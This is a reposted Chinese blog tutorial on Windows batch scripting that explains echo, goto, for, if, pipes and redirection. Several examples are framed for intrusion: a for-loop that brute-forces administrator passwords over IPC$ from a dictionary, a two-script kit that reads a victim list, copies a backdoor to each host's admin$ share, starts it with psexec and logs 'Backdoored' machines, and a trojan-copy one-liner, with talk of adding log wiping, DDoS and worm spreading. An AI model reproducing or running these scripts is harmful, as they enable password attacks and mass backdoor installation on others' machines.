windows bat腳本編寫 2015-07-27 11:27 5人閱讀 評論(0) 收藏

Windows .bat 腳本簡單用法介紹:

一.簡單批處理內部命令簡介 

1.Echo 命令 

打開回顯或關閉請求回顯功能,或顯示消息。若是沒有任何參數,echo 命令將顯示當前回顯設置。 

語法: 

echo [{on│off}] [message] 
Sample:@echo off / echo <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=hello%20world&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">hello world</a> 

在實際應用中咱們會把這條命令和<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%87%8D%E5%AE%9A%E5%90%91&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">重定向</a>符號(也稱爲管<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%81%93%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">道符</a>號,通常用> >> ^)結合來實現輸入一些命 

令到特定格式的文件中.這將在之後的例子中體現出來。 

2.@ 命令 

表示不顯示@後面的命令,在入侵過程當中(例如使用批處理來格式化敵人的硬盤)天然不能讓對方看到你使 

用的命令啦。 

Sample:@echo off 
@echo Now initializing the program,please wait a minite... 
@format X: /q/u/autoset (format 這個命令是不可使用/y這個參數的,可喜的是微軟留了個autoset這 

個參數給咱們,效果和/y是同樣的。) 

3.Goto 命令 

指定跳轉到標籤,找到標籤後,程序將處理從下一行開始的命令。 

語法:goto label (label是參數,指定所要轉向的批處理程序中的行。) 
Sample: 
if {%1}=={} goto noparms 
if {%2}=={} goto noparms(若是這裏的if、%一、%2你不明白的話,先跳過去,後面會有詳細的解釋。) 
@Rem check parameters if null show usage 
:noparms 
echo Usage: monitor.bat ServerIP PortNumber 
goto end 

標籤的名字能夠隨便起,可是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤,goto命令 

就是根據這個:來尋找下一步跳到到那裏。最好有一些說明這樣你別人看起來纔會理解你的意圖啊。 

4.Rem 命令 

註釋命令,在C語言中至關與/*--------*/,它並不會被執行,只是起一個註釋的做用,便於別人閱讀和你 

本身往後修改。 

Rem Message 
Sample:@Rem Here is the description. 

5.Pause 命令 

運行 Pause 命令時,將顯示下面的消息: 
Press any key to continue . . . 

Sample: 
@echo off 
:begin 
copy a:*.* d:\back 
echo Please put a new disk into driver A 
pause 
goto begin 

在這個例子中,驅動器 A 中磁盤上的全部文件均複製到d:\back中。顯示的註釋提示您將另外一張磁盤放入 

驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,而後按任意鍵繼續處理。 

6.Call 命令 

從一個批處理程序調用另外一個批處理程序,而且不終止父批處理程序。call 命令接受用做調用目標的標籤 

。若是在腳本或<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%89%B9%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">批處理文件</a>外使用 Call,它將不會在命令行起做用。 

語法: 
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 

參數: 
[Drive:}[Path] FileName 

指定要調用的批處理程序的位置和名稱。filename 參數必須具備 .bat 或 .cmd 擴展名。 

7.start 命令 

調用外部程序,全部的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=DOS%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">DOS命令</a>和命令行程序均可以由start命令來調用。 
經常使用參數: 
MIN 開始時窗口最小化 
SEPARATE 在分開的空間內開始 16 位 Windows 程序 
HIGH 在 HIGH <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E4%BC%98%E5%85%88%E7%BA%A7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">優先級</a>類別開始應用程序 
REALTIME 在 REALTIME <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E4%BC%98%E5%85%88%E7%BA%A7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">優先級</a>類別開始應用程序 
WAIT 啓動應用程序並等候它結束 
parameters 這些爲傳送到命令/程序的參數 

執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE不等應用程序終止就返回命令提示。若是在命令腳本 

內執行,該新行爲則不會發生。 

8.choice 命令 

choice 使用此命令可讓用戶輸入一個字符,從而運行不一樣的命令。使用時應該加/c:參數,c:後應寫提 

示可輸入的字符,之間無空格。它的返回碼爲1234...... 

如: choice /c:dme defrag,mem,end 

將顯示 
defrag,mem,end[D,M,E]? 

Sample: 
Sample.bat的內容以下: 

@echo off 
choice /c:dme defrag,mem,end 
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼) 
if errorlevel 2 goto mem 
if errotlevel 1 goto end 

:defrag 
c:\dos\defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye 

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,而後<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=if%E8%AF%AD%E5%8F%A5&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">if語句</a>將做出判斷,d表示執行 

標號爲defrag的程序段,m表示執行標號爲mem的程序段,e表示執行標號爲end的程序段,每一個程序段最後 

都以goto end將程序跳到end標號處,而後程序將顯示good bye,文件結束。 

9.If 命令 

if 表示將判斷是否符合規定的條件,從而決定執行不一樣的命令。 

有三種格式: 

1)、if "參數" == "字符串" 待執行的命令 
參數若是等於指定的字符串,則條件成立,<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%BF%90%E8%A1%8C%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">運行命令</a>,不然運行下一句。(注意是兩個等號) 

如if "%1"=="a" format a: 
if {%1}=={} goto noparms 
if {%2}=={} goto noparms 

2)、if exist 文件名 待執行的命令 
若是有指定的文件,則條件成立,<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%BF%90%E8%A1%8C%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">運行命令</a>,不然運行下一句。 

如if exist <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=config.sys&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">config.sys</a> edit <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=config.sys&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">config.sys</a> 

3)、if errorlevel / if not errorlevel 數字 待執行的命令 
若是返回碼等於指定的數字,則條件成立,<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%BF%90%E8%A1%8C%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">運行命令</a>,不然運行下一句。 

如if errorlevel 2 goto x2 

DOS程序運行時都會返回一個數字給DOS,稱爲錯誤碼errorlevel或稱返回碼,常見的返回碼爲0、1。 

10.for 命令 

for 命令是一個比較複雜的命令,主要用於參數在指定的範圍<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%86%85%E5%BE%AA%E7%8E%AF&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">內循環</a>執行命令。 
在<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%89%B9%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">批處理文件</a>中使用 FOR 命令時,指定變量請使用 %%variable 

for {%variable│%%variable} in (set) do command [ CommandLineOptions] 
%variable 指定一個單一字母可替換的參數。 
(set) 指定一個或一組文件。可使用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%80%9A%E9%85%8D%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">通配符</a>。 
command 指定對每一個文件執行的命令。 
command-parameters 爲特定命令指定參數或命令行開關。 

在<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%89%B9%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">批處理文件</a>中使用 FOR 命令時,指定變量請使用 %%variable 
而不要用 %variable。變量名稱是區分大小寫的,因此 %i 不一樣於 %I 

若是命令擴展名被啓用,下列額外的 FOR 命令格式會受到支持: 
FOR /D %variable IN (set) DO command [command-parameters] 

若是集中包含<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%80%9A%E9%85%8D%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">通配符</a>,則指定與目錄名匹配,而不與文件名匹配。 

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] 

檢查以 [drive:]path 爲根的目錄樹,指向每一個目錄中的FOR 語句。若是在 /R 後沒有指定目錄,則使用 

當前目錄。若是集僅爲一個單點(.)字符,則枚舉該目錄樹。 

FOR /L %variable IN (start,step,end) DO command [command-parameters] 

該集表示以<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%A2%9E%E9%87%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">增量</a>形式從開始到結束的一個數字序列。 
所以,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生 
序列 (5 4 3 2 1)。 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command 

或者,若是有 usebackq 選項: 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command 

filenameset 爲一個或多個文件名。繼續到 filenameset 中的下一個文件以前,每份文件都已被打開、讀 

取並通過處理。 
處理包括讀取文件,將其分紅一行行的文字,而後將每行解析成零或更多的符號。而後用已找到的符號字 

符串變量值調用 For 循環。以默認方式,/F 經過每一個文件的每一行中分開的第一個空白符號。跳過空白 

行。您可經過指定可選 "options" 參數替代默認解析操做。這個帶引號的字符串包括一個或多個指定不一樣 

解析選項的關鍵字。這些關鍵字爲: 

eol=c - 指一個行註釋字符的結尾(就一個) 
skip=n - 指在文件開始時忽略的行數。 
delims=xxx - 指<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%88%86%E9%9A%94%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">分隔符</a>集。這個替換了空格和跳格鍵的默認<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%88%86%E9%9A%94%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">分隔符</a>集。 
tokens=x,y,m-n - 指每行的哪個符號被傳遞到每一個迭代的 for 自己。這會致使額外變量名稱的 
格式爲一個範圍。經過 nth 符號指定 m 符號字符串中的最後一個字符星號,那麼額外的變量將在最後一 

個符號解析之分配並接受行的保留文本。 
usebackq - 指定新語法已在下類狀況中使用: 
在做爲命令執行一個後引號的字符串而且引號字符爲文字字符串命令並容許在 file-set中使用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%8C%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">雙引號</a>擴起 

文件名稱。 

sample1: 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 

會分析 myfile.txt 中的每一行,忽略以<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%88%86%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">分號</a>打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 

程序體;用逗號和/或 空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 

%j 來取得第三個符號,引用 %k來取得第三個符號後的全部剩餘符號。對於帶有空格的文件名,您須要用 

<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%8C%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">雙引號</a>將文件名括起來。爲了用這種方式來使用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%8C%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">雙引號</a>,您還須要使用 usebackq 選項,不然,雙引號會 

被理解成是用做定義某個要分析的字符串的。 

%i 專門在 for 語句中獲得說明,%j 和 %k 是經過tokens= 選項專門獲得說明的。您能夠經過 tokens= 

一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或'Z' 的變量。請記住,FOR 變量是單一字 

母、分大小寫和全局的;同時不能有 52 個以上都在使用中。 

您還能夠在相鄰字符串上使用 FOR /F 分析邏輯;方法是,用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8D%95%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">單引號</a>將括號之間的 filenameset 括起來。 

這樣,該字符串會被看成一個文件中的一個單一輸入行。 

最後,您能夠用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字符 

串。該字符串會被看成命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被看成文件分析。所以 

,如下例子: 

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 

會枚舉當前環境中的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">環境變量</a>名稱。 

另外,FOR 變量參照的替換已被加強。您如今可使用下列選項語法: 

~I - 刪除任何引號("),擴充 %I 
%~fI - 將 %I 擴充到一個徹底合格的路徑名 
%~dI - 僅將 %I 擴充到一個驅動器號 
%~pI - 僅將 %I 擴充到一個路徑 
%~nI - 僅將 %I 擴充到一個文件名 
%~xI - 僅將 %I 擴充到一個<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%96%87%E4%BB%B6%E6%89%A9%E5%B1%95%E5%90%8D&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">文件擴展名</a> 
%~sI - 擴充的路徑只含有短名 
%~aI - 將 %I 擴充到文件的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%96%87%E4%BB%B6%E5%B1%9E%E6%80%A7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">文件屬性</a> 
%~tI - 將 %I 擴充到文件的日期/時間 
%~zI - 將 %I 擴充到文件的大小 
%~$PATH:I - 查找列在路徑<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">環境變量</a>的目錄,並將 %I 擴充到找到的第一個徹底合格的名稱。若是環境變 

量未被定義,或者沒有找到文件,此組合鍵會擴充空字符串 

能夠組合修飾符來獲得多重結果: 

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑 
%~nxI - 僅將 %I 擴充到一個文件名和擴展名 
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名 
%~dp$PATH:i - 查找列在路徑<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">環境變量</a>的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。 
%~ftzaI - 將 %I 擴充到相似輸出線路的 DIR 

在以上例子中,%I 和 PATH 可用其餘有效數值代替。%~ 語法用一個有效的 FOR 變量名終止。選取相似 

%I 的大寫變量名比較易讀,並且避免與不分大小寫的組合鍵混淆。 

以上是MS的官方幫助,下面咱們舉幾個例子來具體說明一下For命令在入侵中的用途。 

sample2: 

利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。 

咱們用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=net%20use&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">net use</a> file://ip/ipc$ "password" /u:"administrator"來嘗試這和目標主機進行鏈接,當成功時記下 

密碼。 
最主要的命令是一條:for /f i% in (dict.txt) do <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=net%20use&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">net use</a> file://ip/ipc$ "i%" /u:"administrator" 
用i%來表示admin的密碼,在dict.txt中這個取i%的值用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=net%20use&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">net use</a> 命令來鏈接。而後將程序運行結果傳遞給 

find命令-- 
for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator"│find ":命令成功完 

成">>D:\ok.txt ,這樣就ko了。 

sample3: 

你有沒有過手裏有大量<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%82%89%E9%B8%A1&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">肉雞</a>等着你去種後門+木馬呢?,當數量特別多的時候,本來很開心的一件事都會 

變得很鬱悶:)。文章開頭就談到使用批處理文件,能夠簡化平常或<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%87%8D%E5%A4%8D%E6%80%A7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">重複性</a>任務。那麼如何實現呢?呵呵 

,看下去你就會明白了。 

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable) 
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k 
tokens的用法請參見上面的sample1,在這裏它表示按順序將victim.txt中的內容傳遞給door.bat中的參數 

%i %j %k。 
而cultivate.bat無非就是用net use命令來創建IPC$鏈接,並copy木馬+後門到victim,而後用返回碼 

(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。 
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裏你也必定明白這victim.txt裏的內容 

是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,通常就是 ip password username。 

代碼<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%9B%8F%E5%BD%A2&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">雛形</a>: 
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------- 

------ 
@echo off 
@if "%1"=="" goto usage 
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k 
@goto end 
:usage 
@echo run this batch in dos modle.or just double-click it. 
:end 
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------- 

------ 

------------------- cut here then save as a batchfile(I call it door.bat) ------------------ 

----------- 
@net use file://%1/ipc$ %3 /u:"%2" 
@if errorlevel 1 goto failed 
@echo Trying to establish the IPC$ connection ............OK 
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 

>>ko.txt 
@psexec file://%1/ c:\winnt\system32\windrv32.exe 
@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt 
:failed 
@echo Sorry can not connected to the victim. 
----------------- cut here then save as a batchfile(I call it door.bat) -------------------- 

------------ 

這只是一個自動種植後門批處理的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%9B%8F%E5%BD%A2&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">雛形</a>,兩個批處理和<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">後門程序</a>(Windrv32.exe),PSexec.exe需放在統一 

目錄下.批處理內容 
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深刻一點可使之具有自動傳播功 

能(蠕蟲).此處很少作敘述,有興趣的朋友可自行研究. 

二.如何在批處理文件中使用參數 

批處理中可使用參數,通常從1%到 9%這九個,當有多個參數時須要用shift來移動,這種狀況並很少見 

,咱們就不考慮它了。 

sample1:fomat.bat 

@echo off 
if "%1"=="a" format a: 
:format 
@format a:/q/u/auotset 
@echo please insert another disk to driver A. 
@pause 
@goto fomat 
這個例子用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E4%BA%8E%E8%BF%9E&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">於連</a>續地格式化幾張軟盤,因此用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添 

足了~ 

sample2: 

當咱們要創建一個IPC$鏈接地時候總要輸入一大串命令,弄很差就打錯了,因此咱們不如把一些固定命令 

寫入一個批處理,把<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%82%89%E9%B8%A1&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">肉雞</a>地ip password username 當着參數來賦給這個批處理,這樣就不用每次都打命令 

了。 
@echo off 
@net use file://1%/ipc$ "2%" /u:"3%" 注意哦,這裏PASSWORD是第二個參數。 
@if errorlevel 1 echo connection failed 
怎麼樣,使用參數仍是比較簡單的吧?你這麼帥必定學會了.No.3 

三.如何使用組合命令(Compound Command) 

1.& 

Usage:第一條命令 & 第二條命令 [& 第三條命令...] 

用這種方法能夠同時執行多條命令,而無論命令是否執行成功 

Sample: 
C:\>dir z: & dir c:\Ex4rch 
The system cannot find the path specified. 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c:\Ex4rch 

2002-05-14 23:51 . 
2002-05-14 23:51 .. 
2002-05-14 23:51 14 sometips.gif 

2.&& 
Usage:第一條命令 && 第二條命令 [&& 第三條命令...] 

用這種方法能夠同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,若是一直沒有出錯則 

一直執行完全部命令; 

Sample: 
C:\>dir z: && dir c:\Ex4rch 
The system cannot find the path specified. 

C:\>dir c:\Ex4rch && dir z: 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c:\Ex4rch 

2002-05-14 23:55 . 
2002-05-14 23:55 .. 
2002-05-14 23:55 14 sometips.gif 
1 File(s) 14 bytes 
2 Dir(s) 768,671,744 bytes free 
The system cannot find the path specified. 

在作<a target=_blank target="_blank" href="http://zhidao.baidu.com/link?url=yrLnQpSDc58d_RI_mnh_sA5O6PSLL5wzvZJ0uFLtKiwRtAwO2UAyEAT-wMK0u4_xTFLgFoYPiGopguO1b657Aq#" class="app-keyword" style="color: rgb(51, 102, 153); text-decoration: none;">備份</a>的時候可能會用到這種命令會比較簡單,如: 
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb 

E:\backup 
若是遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命令。這種用法 

能夠替換IF exist了. 

3.││ 

Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...] 

用這種方法能夠同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,若是沒有出現正確的 

命令則一直執行完全部命令; 

Sample: 
C:\Ex4rch>dir sometips.gif ││ del sometips.gif 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of C:\Ex4rch 

2002-05-14 23:55 14 sometips.gif 
1 File(s) 14 bytes 
0 Dir(s) 768,696,320 bytes free 

組合命令使用的例子: 

sample: 
@copy trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 

>>victim.txt 

4、管道命令的使用 

1.│ 命令 
Usage:第一條命令 │ 第二條命令 [│ 第三條命令...] 
將第一條命令的結果做爲第二條命令的參數來使用,記得在unix中這種方式很常見。 

sample: 
time /t>>D:\IP.log 
netstat -n -p tcp│find ":3389">>D:\IP.log 
start Explorer 

看出來了麼?用於終端服務容許咱們爲用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以得到登 

錄用戶的IP。 

2.>、>>輸出<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%87%8D%E5%AE%9A%E5%90%91&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">重定向</a>命令 
將一條命令或某個程序輸出結果的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%87%8D%E5%AE%9A%E5%90%91&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">重定向</a>到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內 

容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。 

sample1: 
echo <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=hello%20world&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">hello world</a>>c:\hello.txt (stupid example?) 

sample2: 
時下DLL木馬盛行,咱們知道system32是個<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%8D%89%E8%BF%B7%E8%97%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">捉迷藏</a>的好地方,許多木馬都削尖了腦殼往那裏鑽,DLL馬也不 

例外,針對這一點咱們能夠在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件做一個記錄: 
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 
這樣全部的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中, 
往後如發現異常但用傳統的方法查不出問題時,則要考慮是否是系統中已經潛入DLL木馬了. 
這時咱們用一樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,而後運 

行: 
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比 

較先後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣咱們就能發現一些多出來的DLL和EXE文件, 

而後經過查看建立時間、版本、是否通過壓縮等就可以比較容易地判斷出是否是已經被DLL木馬光顧了。沒 

有是最好,若是有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件註銷掉,再把它移到 

回收站裏,若系統沒有異常反映再將之完全刪除或者提交給殺毒軟件公司。 

3.< 、>& 、<& 
< 從文件中而不是從鍵盤中讀入命令輸入。 
>& 將一個<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%A5%E6%9F%84&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">句柄</a>的輸出寫入到另外一個<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%A5%E6%9F%84&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">句柄</a>的輸入中。 
<& 從一個<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%A5%E6%9F%84&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">句柄</a>讀取輸入並將其寫入到另外一個句柄輸出中。 
<p>這些並不經常使用,也就很少作介紹。</p><p><em>原文:http://blog.csdn.net/junmuzi/article/details/12239303</em></p>
相關文章
相關標籤/搜索